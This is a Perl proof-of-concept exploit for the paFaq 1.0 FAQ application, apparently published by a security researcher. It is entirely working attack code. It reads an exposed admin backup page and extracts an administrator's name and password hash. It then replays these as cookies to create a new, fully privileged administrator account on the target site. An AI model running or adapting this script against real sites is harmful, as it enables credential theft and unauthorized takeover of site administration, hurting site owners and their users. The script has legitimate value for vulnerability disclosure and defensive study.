pafaq.pl.txt

`#!/usr/bin/perl -w  
##########################################################################  
# paFaq 1.0 Add Administrator PoC // By James // http://www.gulftech.org  
##########################################################################  
  
use LWP::UserAgent;  
  
# Set up the LWP User Agent  
$ua = new LWP::UserAgent;  
$ua->agent("paFaq Hash Grabber v1.0");  
  
if ( !$ARGV[0] ) { print "Usage : pafaq.pl http://path/to/pafaq"; exit; }  
  
my $key_time = time();  
  
my $dbm_path = $ARGV[0] . '/admin/backup.php';  
my $add_user = 'pafaq'; # change this?  
my $add_pass = 'pafaq'; # change this?  
my $add_email = '[email protected]'; # change this?  
my $add_path = $ARGV[0] . '/admin/index.php?area=users&act=doadd&name=' . $add_user . '&password=' . $add_pass . '&email=' . $add_email . '&notify=1&can_edit_settings=1&can_edit_admins=1&can_add_admins=1&can_del_admins=1&is_a_admin=1';  
  
print "[*] Trying Host " . $ARGV[0] . "\n";  
  
my $dbm = $ua->get($dbm_path);  
  
if ( $dbm->content =~ /'([0-9]{1,8})',\s'(.*)',\s'([a-f0-9]{32})'/i)  
{  
print "[+] User ID Is " . $1 . "\n";  
print "[+] User Name Is " . $2 . "\n";  
print "[+] User Password Is " . $3 . "\n";  
print "[*] Trying to add new user ...\n";  
  
my @cookie = ('Cookie' => 'pafaq_user=' . $2 . '; pafaq_pass=' . $3);  
my $add = $ua->get($add_path, @cookie);  
  
if ( $add->content =~ /has been created successfully/ )  
{  
print "[+] User $add_user Added Successfully!\n";  
print "[+] User Password Is $add_pass\n";   
}  
else  
{  
print "[!] Unable To Add User! Maybe the username is already taken? ...\n";  
print "[!] Shutting Down ...\n";  
exit;   
}  
}  
else  
{  
print "[!] The Host Is Not Vulnerable ...\n";  
print "[!] Shutting Down ...\n";  
exit;  
}  
exit;  
`